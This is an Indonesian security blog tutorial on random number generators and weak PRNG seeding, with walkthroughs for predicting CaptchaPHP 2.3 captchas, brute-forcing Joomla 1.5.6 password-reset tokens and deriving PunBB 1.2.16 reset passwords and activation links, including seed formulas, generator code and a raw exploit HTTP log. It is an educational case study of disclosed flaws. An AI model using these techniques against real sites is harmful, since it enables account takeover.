TEKOJAWA.COM

Dalam tulisan ini saya akan membahas tentang random number, dan bagaimana attack terhadap random number generator bisa sangat berbahaya. Selama ini kita sering mendengar tentang random number tapi banyak yang belum paham betapa pentingnya random number dalam keamanan informasi dan apa bahaya yang terjadi bila random number yang dipilih tidak cukup random?

Randomness

Apakah yang dimaksud dengan random/acak ? Bagaimana kita mendefinisikan sesuatu bisa disebut acak atau bukan ?

Sebenarnya sulit menentukan apakah sesuatu itu benar-benar random atau bukan. Tapi secara umum kita menyebut sesuatu itu random bila kita tidak melihat adanya pola atau keteraturan atau urutan (absence of pattern, absence of order), walaupun absence of order juga tidak menjamin benar-benar random.

Suatu deretan angka tidak bisa dibilang random bila deretan angka itu digenerate oleh suatu prosedur/algoritma tertentu yang deterministik, artinya setiap kali prosedur tersebut dijalankan lagi, deretan angka yang keluar akan selalu sama dengan yang sebelumnya.

Beberapa properti yang bisa dipakai untuk menilai randomness adalah:

Even distribution
Unpredictability
Uniqueness

Even Distribution

Even distribution maksudnya adalah semua hasil yang mungkin mempunyai peluang yang sama. Sebagai contoh kalau kita melempar dadu, setiap sisi mempunyai peluang yang sama, tidak boleh berat ke salah satu sisi saja. Dalam waktu yang cukup lama, data yang digenerate secara random seharusnya akan mengcover hampir semua data set secara merata (tidak berkelompok di salah satu bagian saja).

Kalau himpunan semua nilai yang mungkin digambarkan sebagai pixel dalam monitor anda, number generator yang baik akan secara merata mengisi semua pixel yang ada, tidak berkelompok di satu area tertentu.

Tiga gambar di bawah ini memperlihatkan distribusi random number yang merata, mulai dari masih sedikit sampai makin banyak.

Semakin banyak bilangan yang digenerate, akan semakin merata bilangan itu menutupi area-area yang kosong.

Perbedaan antara password yang dibuat oleh manusia dan random password generator terlihat dari distribusi penggunaan karakternya. Password yang dibuat manusia distribusinya tidak merata karena sangat dipengaruhi oleh bahasa yang dipakai. Bahasa manusia jelas tidak random, sehingga password yang diturunkan dari bahasa tersebut juga tidak mungkin random. Bila dalam bahasa inggris, huruf yang paling sering dipakai adalah ‘e’, maka frekuensi huruf e akan terlihat menonjol dibanding huruf lainnya.

Berbeda dengan password yang digenerate oleh password generator, dari 26 huruf yang ada, semua huruf punya peluang yang sama sehingga distribusinya merata. Tidak ada satu huruf yanf lebih sering dipakai dibandingkan huruf yang lain.

Perbedaan ini menunjukkan bahwa password yang dipilih manusia sangat jauh dari random. Hal ini terlihat dari grafik distribusi karakter password yang dibuat oleh manusia. Terlihat ada karakter-karakter yang terlihat menonjol karena sering dipakai, ada juga karakter-karakter yang jarang atau tidak pernah dipakai dalam password.

Password yang digenerate oleh password generator memiliki distribusi karakter yang merata. Grafik di bawah jelas menunjukkan bahwa semua karakter mempunyai peluang yang sama, tidak ada karakter yang sangat sering, lebih sering, jarang dipakai atau tidak pernah dipakai.

Unpredictability

Unpredictability maksudnya adalah data-data yang sudah lebih dulu muncul tidak bisa dipakai untuk memprediksi data apa yang akan muncul berikutnya karena setiap data tidak ada hubungannya dan tidak tergantung dengan data yang lain (independent).

Apa yang terjadi kalau random number yang akan muncul bisa diprediksi sebelumnya?

Mesin di kasino memiliki random number generator di dalamnya untuk mengacak kartu, bila random number yang muncul sudah bisa diprediksi sebelumnya, dia akan bisa selalu memenangkan permainan. Dalam buku The Art of Intrusion, ada satu bab yang menceritakan tentang kesuksesan 3 orang melakukan hacking mesin kasino dengan cara memprediksi random number.

Quote berikut dengan singkat menceritakan apa yang mereka lakukan, “Reverse engineering the operation of the machine, learned precisely how the random numbers were turned into cards on the screen, precisely when and how fast the RNG iterated, all of the relevant idiosyncrasies of the machine, and developed a program to take all of these variables into consideration so that once we know the state of a particular machine at an exact instant in time, we could predict with high accuracy the exact iteration of the RNG at any time within the next few hours or even days”.

Dalam dunia security predictability bisa berakibat fatal, misalnya memprediksi password yang digenerate oleh password generator, memprediksi session id, memprediksi activation link dan masih banyak lagi lainnya.

Uniqueness

Bila kita mengambil sederetan data acak (misalkan 10 karakter acak), kecil peluangnya kita menemukan 10 karakter acak tersebut berulang (repetition), semakin panjang deretan angka yang kita ambil, semakin kecil peluangnya berulang. Karena random number terdistribusi secara merata dan antara satu data dan lainnya tidak saling berhubungan, maka kecil peluang kemunculan dua data yang berulang.

Pseudo Random Number Generator (PRNG)

Komputer sebagai mesin yang deterministik tidak mungkin bisa menghasilkan sesuatu yang random. Deterministik disini maksudnya adalah suatu prosedur tertentu diberi input yang sama, outputnya juga akan selalu sama. Output hanya akan berbeda bila inputnya berbeda.

Komputer bekerja mengikuti langkah-langkah yang sudah ditetapkan dalam algoritma program. Tidak mungkin sebuah komputer bekerja dengan cara yang acak tanpa mengikuti alur langkah-langkah algoritma.

Machines are deterministics, their operation is predictable and repeatable

Begitu juga random number yang digenerate komputer juga adalah hasil dari komputasi algoritma tertentu yang deterministik, oleh karena itu hasil random numbernya tidak benar-benar random atau disebut dengan Pseudo Random.

Salah satu implementasi PRNG adalah dengan menggunakan algoritma enkripsi simetris seperti AES-128 dalam counter mode seperti gambar di atas.

Random number yang pertama muncul adalah hasil enkripsi dengan kunci yang diambil dari suatu sumber yang cukup random (sebagai seed), dan message yang dienkrip adalah angka 0. Random number berikutnya adalah hasil enkripsi dengan kunci yang sama (seed), namun message yang dienkrip adalah angka 1, berikutnya message yang dienkrip adalah 2 dan seterusnya sehingga membentuk deretan angka yang cukup random.

Kalau diperhatikan gambar implementasi PRNG di atas, jelas terlihat bahwa bila orang lain mengetahui seednya, maka semua random number yang akan muncul dan yang sudah muncul bisa diketahui dengan mudah.

Sekali lagi perlu diingat bahwa prosedur PRNG adalah deterministik, jadi dengan seed yang sama dan algoritma yang sama, maka deretan angka random yang muncul juga akan selalu sama. Deretan angka random hanya akan berbeda bila seed yang diberikan berbeda.

Dengan seed x, maka yang muncul adalah x₀,x₁,x₂…
Dengan seed y, maka yang muncul adalah y₀,y₁,y₂…
Dengan seed z, maka yang muncul adalah z₀,z₁,z₂…

Remember: Same seed, same sequence of numbers

Apa yang terjadi bila seed diketahui pihak luar? Bila orang lain tahu seed yang diberikan pada suatu PRNG, maka dia bisa mengetahui semua deret random number yang sudah muncul dan yang akan datang.

When the state of the random number generator is leaked all future random numbers are predictable – Steffan Esser

Oleh karena itu sangat penting untuk menggunakan seed dari sumber yang benar-benar random agar tidak terjadi kebocoran seed.

PRNG Period/Cycle

Kelemahan lain dari PRNG adalah adanya periode/siklus perulangan, setelah PRNG men-generate sekian banyak random number, dia akan kembali lagi mengulang deretan angka yang sama seperti dari awal lagi.

Contohnya dengan seed x, maka deretan angka yang muncul adalah x₀,x₁,x₂…(setelah sekian banyak random number)…x₀,x₁,x₂…dan seterusnya

Source of Seed

Sebagai input untuk PRNG, seed haruslah berasal dari sumber yang benar-benar random. Sumber yang dinilai random adalah aktivitas fisik yang non-deterministic antara lain:

Pergerakan mouse
Penekanan tombol keyboard
Thermal noise
Radioactive activity

Sebenarnya sumber true random number sangat banyak di alam. Hampir semua kejadian di alam bila kita perhatikan dengan seksama terjadi dengan cara yang random, seperti gerakan awan, ombak di laut, pergerakan atom/molekul dalam zat dan masih banyak lagi. Dengan sensor atau alat observasi yang tepat kita bisa memanfaatkan banyak kejadian di alam sebagai sumber true random number.

Beberapa operating system menyediakan random pool yang siap pakai seperti /dev/random. /dev/random siap memberikan random number kapanpun diminta yang berasal dari environmental noise dalam CPU, jadi random numbernya bisa dibilang cukup random karena berasal dari aktivitas fisik (non-deterministik).

Random Number as Seed to PRNG

Dibutuhkan effort lebih untuk mendapatkan bilangan random yang non-deterministik dan berasal dari aktivitas fisik di luar komputer. Sumber-sumber yang memberikan bilangan random yang non-deterministik biasanya hanya bisa menyediakan random number dalam jumlah yang terbatas, sedangkan PRNG bisa memberikan random number dalam jumlah yang sangat banyak (tergantung sebanyak apa angka yang keluar sebelum terjadi perulangan, repetition cycle).

Karena keterbatasan itu maka perlu dikombinasikan antara random number non-deterministik dengan PRNG. Bila dibutuhkan random number dalam jumlah banyak yang tidak bisa disediakan oleh random number non-deterministik, maka kompromi yang bisa dilakukan adalah dengan mengambil random number dari PRNG yang diberi seed dari random number yang diambil dari sumber luar yang non-deterministik.

Dalam gambar implementasi PRNG di atas juga terlihat bahwa prosedur PRNG memiliki input yang berasal dari “random pool” yang digambarkan sebagai awan. Random pool ini berasal dari sumber-sumber yang non-deterministik seperti pergerakan mouse, keyboard, thermal noise sampai aktivitas radioaktif.

Random Number Role in Security

Random number memegang peranan critical dalam menjamin keamanan data. Aplikasi random number dalam bidang security yang crucial antara lain:

Generating password
Generating session ID
Generating activation/confirmation code
Generating symmetric/asymmetric encryption key
and many more…

Bila random number yang digunakan untuk men-generate password atau encryption key lemah, seorang hacker bisa mendapatkan password atau encryption key dengan melakukan komputasi di komputernya kemudian dengan leluasa menguasai account, server atau membuka data yang dilindungi dengan enkripsi.

Agar lebih terbayang bagaimana pentingnya random number yang kuat dalam menjaga security, berikut ini ada 4 studi kasus web application real world yang menggunakan weak random number dan cara eksploitasinya.

Case Study #1: Predicting Captcha (CaptcaPHP 2.3)

Lab Download: CaptchaPhp 2.3 dan solusicapcay.php

Sebagai contoh kasus weak random number, kita akan melakukan breaking captcha pada CaptchaPHP versi 2.3 tanpa melakukan image processing sedikitpun, murni hanya dengan “predicting the captcha”. Kelemahan ini dilaporkan oleh Julio Vidal.

Captcha memberikan soal berupa gambar berisi teks yang harus kita baca untuk membuktikan bahwa kita adalah manusia, bukan software. Idenya sederhana, bila kita bisa membaca isi teks dalam gambar, maka kita akan dipercaya sebagai manusia. Dalam tulisan saya sebelumnya tentang menjebol captcha dengan OCR saya memakai teknik optical character recognition yang mencoba membaca isi teks dalam gambar dengan algoritma tertentu. Tergantung dari tingkat kerumitan gambar, tingkat keberhasilan teknik OCR kecil, kecuali bila gambarnya benar-benar jelas (tidak mengandung noise dan gangguan-gangguan apapun).

Kali ini kita tidak memakai teknik OCR, kita akan melakukan prediksi isi teks dalam gambar, tanpa melibatkan image processing bahkan gambar captchanya tidak disentuh dan tidak dilihat sama sekali. Tingkat akurasi prediksi ini sangat tinggi, hampir 100% sukses. Bagaimana caranya kita bisa memprediksi captcha dengan akurasi yang sangat tinggi?

Weak Seeding

Sebelumnya kita harus pahami bahwa dengan mengetahui seed suatu pseudorandom number generator (PRNG), kita bisa memprediksi semua random number yang akan di-generate oleh PRNG tersebut.

Captcha selalu memberikan soal yang berisi teks yang berbeda-beda setiap kali diminta. Teks yang ada pada gambar captcha dipilih secara random dengan fungsi rand(). Dalam captchaphp 2.3 ini PRNG terlebih dahulu diberi initial state, atau seed dengan formula: ‘microtime() + time()/2 -21017′ seperti terlihat dalam source code di bawah ini:

Sepintas source code di atas tidak bermasalah, namun kalau diperhatikan pada pemanggilan fungsi srand(), terlihat bahwa sumber entropi yang dipakai untuk seed sangat lemah, yaitu waktu dalam detik dan mikrodetik. Seeding yang lemah ini menjadi malasah besar karena seperti yang sudah kita bahas sebelumnya, bila seed suatu PRNG bocor (diketahui orang lain), maka orang tersebut akan bisa memprediksi semua random number yang akan di-generate.

Kenapa PRNG harus diberi seed dari sesuatu yang tidak diketahui pihak luar? Karena bila seednya sampai diketahui orang lain, maka orang tersebut akan bisa memprediksi semua random number yang akan digenerate.

Masalahnya adalah waktu bukanlah sesuatu yang rahasia, waktu adalah sesuatu yang universal, hanya berbeda pada zona waktu saja. Kalaupun ada perbedaan waktu dengan jam server, kita bisa mengetahui waktu di server dari banyak cara, antara lain dengan header ‘Last-Modified’ atau header ‘Date’ dari HTTP server.

Integer Truncation Seed

Kalau kita baca dokumentasi php dari fungsi srand() dan microtime(), diketahui bahwa fungsi srand() ini meminta input bertipe integer, sedangkan formula ‘microtime()+time()/2-21017′ menghasilkan floating point karena ada operasi pembagian dan microtime() menghasilkan angka microsecond bertipe floating point. Karena ada perbedaan tipe, yang diminta integer, sedangkan yang diberikan adalah floating point, maka akan terjadi integer truncation, semua angka dibelakang koma akan dipotong sehingga hanya tersisa integernya saja.

Dalam contoh skrip kecil berikut terlihat bahwa dengan adanya truncation dari floating point ke integer, ‘microtime()+time()/2-21017′ akan sama saja dengan ‘time()/2-21017′. Jadi bisa dikatakan bahwa satu-satunya sumber entropi untuk seed adalah time().

Oke, kini kita sudah tahu bahwa satu-satunya sumber entropi untuk seeding adalah unix time dalam second. Sekarang dari mana kita bisa mengetahui berapa unix time yang dipakai dalam seeding untuk men-generate random text dalam captcha ?

Leaked time() Seed
Kunci untuk bisa melakukan prediksi random number dengan akurat adalah dengan mengetahui internal state (seed) dari PRNG.
Dalam kasus ini kita bisa mengetahui dengan pasti berapa unix time yang dipakai sebagai seed karena adanya parameter __ec_i. Apakah parameter __ec_i ini ? Perhatikan source html dari captcha berikut:

Dalam source htmlnya ada parameter __ec_i yang berfungsi sebagai tracking ID dan secara internal dipakai untuk menentukan jawaban captcha. Mari kita lihat bagaimana __ec_i ini digenerate:

Ternyata komponen kedua setelah ‘ec.’ adalah hasil dari fungsi time(), yaitu unix time. Jadi kalau parameter __ec_i berisi ‘ec.1343036274.fea073dc38def100d18b21adf211d946′, maka unix time pada saat __ec_i tersebut digenerate adalah 1343036274.

Perhatikan dalam source di atas, ketika memanggil srand() kita memakai fungsi time(), kemudian 2 baris dibawahnya kita men-generate parameter __ec_i yang juga memakai fungsi time(). Meskipun ada perbedaan antara waktu pemanggilan time() yang pertama (pada saat srand) dan yang kedua (pada saat generate __ec_i), namun karena dua waktu ini adalah detik, maka dua kejadian ini sebagian besar terjadi dalam detik yang sama, sangat jarang terjadi di detik yang berbeda.

Jadi dalam kasus ini internal state (seed) dari PRNG sudah bocor dari parameter __ec_i, dengan membaca parameter __ec_i seseorang bisa mengetahui seed yang dipakai untuk generate random teks dalam captcha.

Predicting The Captcha

Oke, sekarang kita sudah bisa tahu seed yang dipakai untuk generate teks dalam captcha dari parameter __ec_i, selanjutnya bagaimana cara prediksinya?

Perhatikan contoh prediksi pada gambar di atas. Dari parameter __ec_i ‘ec.1343083228.f38f0267daff24ef5ace74d079b2a50c’ kita ketahui bahwa unix time adalah 1343083228 dan timestamp ini digunakan sebagai seed untuk generate random teks dalam captcha. Saya memodifikasi sedikit captchaphp 2.3 yang asli, agar menerima masukan berupa unix time dan memakainya sebagai seed untuk men-generate random teks.

Terlihat bahwa random teks yang digenerate oleh skrip hasil modifikasi yang dijalankan secara local sama persis dengan isi teks dalam gambar captcha yang diberikan server. Ini membuktikan dengan seed dan PRNG yang sama, random number yang digenerate siapapun, kapanpun, dimanapun (di client maupun di server) akan sama persis, artinya kita sudah sukses melakukan prediksi yang 100% akurat. Tanpa menyentuh dan melihat gambar captchanya sama sekali, hanya berbekal unix time kita bisa dengan akurat memprediksi isi teks dalam gambar captcha.

Bila skrip itu dijalankan berulang-ulang kali dengan seed yang sama, maka random teks yang dihasilkan juga akan sama persis. Selama seednya sama, hasil random teksnya juga akan sama.

Modifying Script

Skrip prediksi dibuat dari script captchaphp 2.3 yang asli dengan beberapa modifikasi kecil berikut ini:

Pada modifikasi di atas, saat memanggil srand(), kita tidak lagi memakai fungsi time(), tapi memakai argument dari command line, argv[1].

Modifikasi terakhir adalah dengan mengganti isi fungsi easy_captcha::form() dengan 1 baris saja seperti di atas. Hanya itu saja modifikasi yang dilakukan untuk membuat script prediksi, intinya hanya pada saat seeding kita memakai inputan user bukan fungsi time(), selebihnya kita mengikuti prosedur yang sama (tidak kita modifikari) dengan captchaphp 2.3 aslinya untuk men-generate teks random dalam captcha.

Case Study #2: Predicting Password Reset Token (Joomla <= 1.5.6)

Lab Download: Joomla 1.5.6 dan Script attack Joomla 1.5.6

Metode otentikasi ketika melakukan reset password umumnya adalah dengan mengirimkan suatu token berupa string acak yang dikirimkan ke email user. Token ini kemudian harus dimasukkan dalam form atau dalam bentuk parameter di URL, bila token yang dimasukkan benar, maka server percaya bahwa dia adalah pemilik account yang sah karena token ini hanya dikirim ke email yang hanya bisa dibuka oleh pemilik account yang sah.

Sebagai contoh kasus kita akan memprediksi password reset token pada Joomla <= 1.5.6, vulnerability ini dilaporkan oleh Steffan Esser. Pada Joomla <= 1.5.6, password reset token adalah MD5 hash dari string acak sepanjang 8 karakter alphanumeric sehingga panjang token adalah 32 karakter hex string (0-9 dan a-f).

Token untuk password reset memang harus dibuat se-random mungkin dan sepanjang mungkin karena dengan token ini seorang user bisa mereset passwordnya, jadi jangan sampai token ini diketahui orang lain yang tidak berhak.

Mari kita lihat bagaimana password reset token digenerate secara random di Joomla <= 1.5.6 di bawah ini.

Token sepanjang 8 karakter string digenerate dengan mt_rand() yang sebelumnya di-inisialisasi dengan seed yang entropinya bersumber dari microsecond (1 / 1 juta detik). Mari kita coba jalankan fungsi genRandomPassword ini dengan sedikit modifikasi agar memakai seed yang berasal dari argument command line untuk melihat cara kerjanya.

Dari percobaan di atas terlihat bahwa dengan seed 3132, maka token yang digenerate adalah ’1GIsgoE9′. Perhatikan bahwa walaupun dieksekusi berkali-kali, selama seed yang dipakai adalah 3132, maka random token yang di-generate selalu ’1GIsgoE9′, tidak pernah dan tidak mungkin berbeda.

Jadi bisa dikatakan, random token yang di-generate tergantung dari seed yang dipakai

Number of Possible Token

Mari kita berhitung berapa besar jumlah kemungkinan token yang ada untuk melihat seberapa besar kemungkinan melakukan brute force token. Karena token adalah 8 karakter string yang setiap karakter terdiri dari 62 kemungkinan (A-Z, a-z, 0-9), maka jumlah kemungkinan token adalah 62^8 atau 218.340.105.584.896 (218,34 triliun) kemungkinan token. Jumlah 218 triliun sangat besar, dibutuhkan waktu yang sangat lama untuk melakukan brute force, mencoba semua kemungkinan token sebanyak 218 triliun kali.

Namun apa benar, ada 218 T kemungkinan token ?

Ingat, bahwa token yang di-generate tergantung dari seed yang dipakai, artinya jumlah kemungkinan token sama dengan jumlah kemungkinan seed. Bila hanya ada sejumlah 100 seed, maka jumlah token yang di-generate hanya 100 walaupun kemungkinan permutasinya ada 218 T.

mt_srand(10000000 * (double) microtime());

Perhatikan seed yang dipakai Joomla di atas, mari kita hitung berapa banyak kemungkinan seed. Seed yang dipakai bersumber dari microtime() dikalikan 10 juta. Karena microtime() menghasilkan bilangan floating point antara 0 dan 1, kemudian hasilnya dikalikan 10 juta, maka ada 10 juta kemungkinan seed. Benarkah demikian ?

Dari dokumentasi php, fungsi microtime() menghasilkan microsecond, yaitu 1 / 1 juta detik, artinya output dari fungsi microtime() ada sebanyak 1 juta kemungkinan bilangan floating point antara 0 dan 1. Jadi walaupun microtime() ini dikalikan 10 juta, tetap saja jumlah kemungkinan seed hanya sebanyak jumlah kemungkinan microtime() yaitu hanya 1 juta.

Karena jumlah seed yang mungkin hanya 1 juta kemungkinan, maka jumlah token yang di-generate tidak mungkin bisa lebih dari 1 juta, paling banyak hanya 1 juta token, bukan 218 triliun token.

Disinilah masalahnya, bila hanya ada 1 juta kemungkinan token, maka akan mudah untuk dibrute force karena mencoba sebanyak 1 juta token tidak butuh waktu lama, apalagi bila dilakukan secara distributed. Memang bila harus mencoba 218 T kemungkinan sangat lama waktu yang dibutuhkan, tapi bila hanya 1 juta percobaan itu bisa dilakukan dengan cepat.

The Attack

Dengan kelemahan ini, seorang hacker bisa menguasai akun Joomla administrator dengan cara reset password. Dia akan melakukan reset password akun korban, karena tokennya dikirim ke email si korban dan si hacker tidak bisa membaca email korban, si hacker akan melakukan brute force sebanyak 1 juta token.

Sekarang kita akan membuat exploit untuk melakukan brute force token. Output dari microtime() antara lain 0.000000, 0.000001, 0.000002, 0.000003…0.009203,0.009204,0.009205… s/d 0.999999 (1 juta kemungkinan). Seed yang dipakai adalah output dari microtime ini dikalikan dengan 10 juta, sehingga nilai seed yang dipakai antara lain 0, 10, 20, 30…92030,92040,92050… s/d 9999990 (1 juta kemungkinan seed).

Pertama kita coba lakukan reset password, kemudian nilai token kita brute force secara offline untuk menguji apakah script brute force sudah benar. Dalam contoh ini token yang dikirim ke email korban adalah ‘c7a7854f93affc4fe6d5e7b7b8c73352′.

Brute force secara offline hanya membutuhkan waktu 1,2 detik saja, tentu saja brute force secara online butuh waktu lebih lama, tapi masih dalam hitungan menit atau beberapa jam saja.

Sekarang mari kita coba untuk melakukan brute force online. Karena ada 1 juta token yang harus dicoba, maka akan lebih cepat bila dilakukan secara bersamaan 100 thread yang masing-masing mencoba 10 ribu token. Dalam contoh di bawah ini, kita coba brute force token yang sama dengan yang kita coba sebelumnya secara offline. Dalam contoh ini, kita coba range seed 150.000 s/d 160.000.

Sama seperti percobaan yang offline, token yang valid ditemukan dengan seed 1523480 dalam waktu percobaan adalah 4 menit dan 38 detik. Kalau dihitung-hitung setiap segmen dengan range 10 ribu, dibutuhkan waktu sekitar setengah jam saja, worst casenya paling lama 1 jam atau 2 jam mestinya sudah berhasil ditemukan token yang valid.

Berikut ini adalah source code script untuk melakukan brute force token Joomla <= 1.5.6.

Pada kasus pertama “predicting captcha”, kita bisa melakukan prediksi dengan akurat karena ada kebocoran seed melalui parameter __ec_i. Dari parameter __ec_i kita bisa tahu dengan tepat, berapa unix time yang dipakai sebagai seed sehingga kita bisa prediksi random teks dalam captcha dengan akurat.

Dalam kasus yang kedua ini, tidak ada kebocoran seed. Kita tidak tahu PRNGnya diinisialisasi dengan seed berapa. Kita hanya tahu bahwa PRNGnya diberi seed dengan salah satu dari 1 juta kemungkinan seed sehingga kita bisa brute force seednya. Karena kita hanya perlu brute force sebanyak 1juta, tanpa perlu brute force sebanyak 218 T, maka peluang suksesnya sangat tinggi.

Case Study #3: Predicting Random Password and Activation Link (PunBB <= 1.2.16)

Lab Download: PunBB 1.2.16 dan Script attack PunBB

Pada kasus yang ketiga kita akan secara blindly mendapatkan password baru dan activation link yang diberikan ke email seorang user ketika dilakukan reset password terhadap akun user tersebut. Vulnerability ini ada pada PunBB <= 1.2.16 dan dilaporkan oleh Stefan Esser.

Ada tiga kelemahan pada aplikasi ini, yang pertama adalah weak cookie_seed, yang kedua adalah weak seeding dan ketiga adanya leaked seed.

Weak cookie_seed

Dalam config.php ada variabel $cookie_seed yang dipakai sebagai salt untuk menyimpan password di cookie dalam bentuk md5 hash. Cookie seed ini digenerate sekali pada saat instalasi.

Setiap seorang user login, maka dia akan diberikan cookie yang berisi 2 elemen, yaitu user_id dan md5 hash dari cookie_seed dan sha1 dari password user tersebut, jadi elemen kedua adalah adalah md5($cookie_seed.sha1(‘passworduser’)).

Sebagai contoh, seorang user rizki dengan password ‘rahasia’, ketika login berhasil mendapatkan punbb_cookie berisi:

a:2:{i:0;i:3;i:1;s:32:"c45c1016321797a2a11a362b7101aecd";}

Dari cookie tersebut diketahui user_id adalah 3 dan yang terpenting adalah kondisi berikut:

md5($cookie_seed.sha1('rahasia')) = 'c45c1016321797a2a11a362b7101aecd'

$cookie_seed digenerate dengan cara yang sangat sederhana:

substr(md5(time()), -8)

$cookie_seed adalah 8 karakter dari belakang md5 hash unix time pada saat instalasi, dengan kata lain, kondisi sebelumnya bisa ditulis sebagai berikut:

md5(substr(md5(X), -8).sha1('rahasia')) = 'c45c1016321797a2a11a362b7101aecd'

Karena dari kondisi di atas, semua elemen sudah diketahui kecuali X yaitu unix time dalam detik ketika instalasi, artinya kita bisa brute force untuk mencari berapa X. Berapakah range brute force yang harus kita coba?

Dari menu daftar user (userlist.php) kita bisa tahu registered date dari user admin untuk mendekati unix time ketika instalasi. Karena yang kita ketahui hanya komponen tanggal saja (jam 00, menit 00), maka untuk mencari ‘exact unix time’ kita tinggal brute force jam dan menitnya saja. Range brute forcenya yang harus kita coba adalah 24 jam ke depan (3600 detik x 24 jam) sejak registered date user admin.

Berikut script untuk brute force cookie_seed bila diketahui registered date user admin adalah 25/07/2012.

Dalam waktu hanya 0.2 detik, kita sudah berhasil menemukan cookie_seed yang ada dalam config.php. Mengetahui nilai cookie_seed dalam config.php adalah langkah pertama, kita lanjutkan dengan langkah kedua.

Weak Seeding

PunBB selalu memberikan cookie baru yang berisi random password 8 karakter setiap kali menerima cookie login yang tidak valid. Cookie ini formatnya sama dengan cookie punbb_cookie biasa, pada elemen pertama berisi user_id 0, artinya guest, sedangkan elemen kedua berisi md5($cookie_seed.$8chars_random_password).

PRNG yang dipakai untuk generate random password sebelumnya diinisalisasi dengan seed berikut dalam common.php:

// Seed the random number generator
mt_srand((double)microtime()*1000000);

Sama dengan case study sebelumnya, dengan seed seperti ini artinya hanya ada 1 juta kemungkinan seed, dan jumlah 1 juta adalah jumlah yang sangat brute forceable.

Random password digenerate dengan function random_pass berikut:

//
// Generate a random password of length $len
//
function random_pass($len)
{
 $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
 
 $password = '';
 for ($i = 0; $i &lt; $len; ++$i)
  $password .= substr($chars, (mt_rand() % strlen($chars)), 1);
 
 return $password;
}

Karena random_pass digenerate secara random, dan PRNGnya diberi seed dengan suatu nilai di antara 1 juta kemungkinan, maka random password yang digenerate juga hanya ada 1 juta kemungkinan. Hubungan antara seed dan random password adalah pemetaan 1 ke 1, artinya untuk setiap seed ada satu password unik yang digenerate dan juga sebaliknya untuk suatu random password tertentu bisa diketahui berapa seed yang dipakai PRNGnya.

Leaked Seed

Jadi bisa dikatakan bahwa kebocoran seed terjadi melalui cookie berisi random password ini karena ada pemetaan 1 ke 1 antara random password dan seed yang dipakai.

Exploitasi kebocoran seed ini dilakukan dengan cara merequest reset password dengan membawa cookie yang elemen keduanya sengaja dibikin invalid untuk memancing punBB memberikan cookie baru berisi random password. Dari random password yang diberikan bisa diketahui berapa seed yang dipakai pada saat reset password.

Berikut adalah log traffic http header ketika request reset password dengan membawa cookie yang invalid. Pada saat request saya memberikan cookie yang saya modifikasi satu karakter terakhir elemen keduanya dari ‘….aecd’ menjadi ‘…aecc’ agar menjadi invalid.

http://localhost:8888/punbb/login.php?action=forget_2
 
POST /punbb/login.php?action=forget_2 HTTP/1.1
Host: localhost:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://localhost:8888/punbb/login.php?action=forget
Cookie: punbb_cookie=a%3A2%3A%7Bi%3A0%3Bs%3A1%3A%223%22%3Bi%3A1%3Bs%3A32%3A%22c45c1016321797a2a11a362b7101aecc%22%3B%7D
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
form_sent=1&amp;req_email=rizki.wicaksono%40xynexis.com
 
HTTP/1.1 200 OK
Date: Thu, 26 Jul 2012 00:02:33 GMT
Server: Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/0.9.8r DAV/2 PHP/5.4.4
X-Powered-By: PHP/5.4.4
Set-Cookie: punbb_cookie=a%3A2%3A%7Bi%3A0%3Bi%3A0%3Bi%3A1%3Bs%3A32%3A%22cbc4ad58d7e2f5de8f8616d509c1aaa9%22%3B%7D; expires=Fri, 26-Jul-2013 00:02:33 GMT; path=/; httponly
Expires: Thu, 21 Jul 1977 07:30:00 GMT
Last-Modified: Thu, 26 Jul 2012 00:02:34 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 1936
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

Pada Set-Cookie response header kita mendapatkan cookie baru, punbb_cookie yang berisi:

a:2:{i:0;i:0;i:1;s:32:”cbc4ad58d7e2f5de8f8616d509c1aaa9″;}

Elemen kedua adalah md5 dari cookie_seed digabung dengan random password 8 karakter. Karena cookie_seed sudah kita dapatkan di langkah pertama dan ada pemetaan 1 ke 1 antara random password ini dan seed, maka kita bisa mencari berapa seed yang dipakai untuk men-generate random password tersebut.

Request reset password dengan membawa cookie yang invalid ini selain memberikan cookie baru juga mengirimkan email ke user yang meminta reset password, berisi new random password dan activation link untuk mengaktifkan password baru tersebut. Berikut adalah contoh email yang diterima korban.

Dalam email tersebut berisi new random password dan URL activation link berisi random key. Karena dalam kasus ini si hacker tidak bisa membaca email korban, maka dia harus memprediksi password baru dan activation linknya.

Bagaimana caranya seorang hacker mengetahui password baru dan activation link yang dikirim ke email korban tanpa membaca sama sekali email korban?

Caranya adalah kita lanjutkan saja ke langkah kedua, yaitu mencari tahu berapa seed yang dipakai PRNGnya.

Dalam waktu 6 detik saja sudah kita dapatkan seed yang dipakai PRNGnya. Dengan mengetahui seed yang dipakai ketika server men-generate password baru dan activation link, kita juga bisa men-generate secara local, password baru dan activation link yang sama persis dengan yang di-generate di server.

Terbukti bahwa password baru dan activation link hasil dari script di atas sama persis dengan yang dikirim ke email korban, artinya dengan teknik ini hacker bisa tahu password baru dan activation linknya tanpa membaca email korban, secara blindly.

Berikut adalah script pendek untuk melakukan brute force seed punBB. $target adalah md5 hash dari pun_bb cookie yang diberikan ketika request dengan cookie yang invalid sedangkan $cookie_seed sudah didapatkan di langkah pertama.

Perhatikan bahwa setelah seed diketahui, script menjalankan random_pass(8) dua kali, yang pertama untuk men-generate random password baru, yang kedua untuk men-generate activation link key.

Jadi dalam kasus yang ketiga ini ada kebocoran seed melalui cookie yang berisi random password, dari random password bisa diketahui seed yang dipakai. Melalui teknik ini, seorang hacker bisa menguasai akun korban tanpa perlu membaca email korban.

Case Study #4: Predicting Session ID (IlohaMail <= 0.8.14-rc3)

Lab Download: IlohaMail 0.8.14-RC3 and Script attack IlohaMail

IlohaMail adalah webmail open source yang cukup populer (ask google). Saya menemukan weak random number vulnerability pada aplikasi ini sehingga kita bisa mendapatkan username dan password user yang sedang login.

Session file

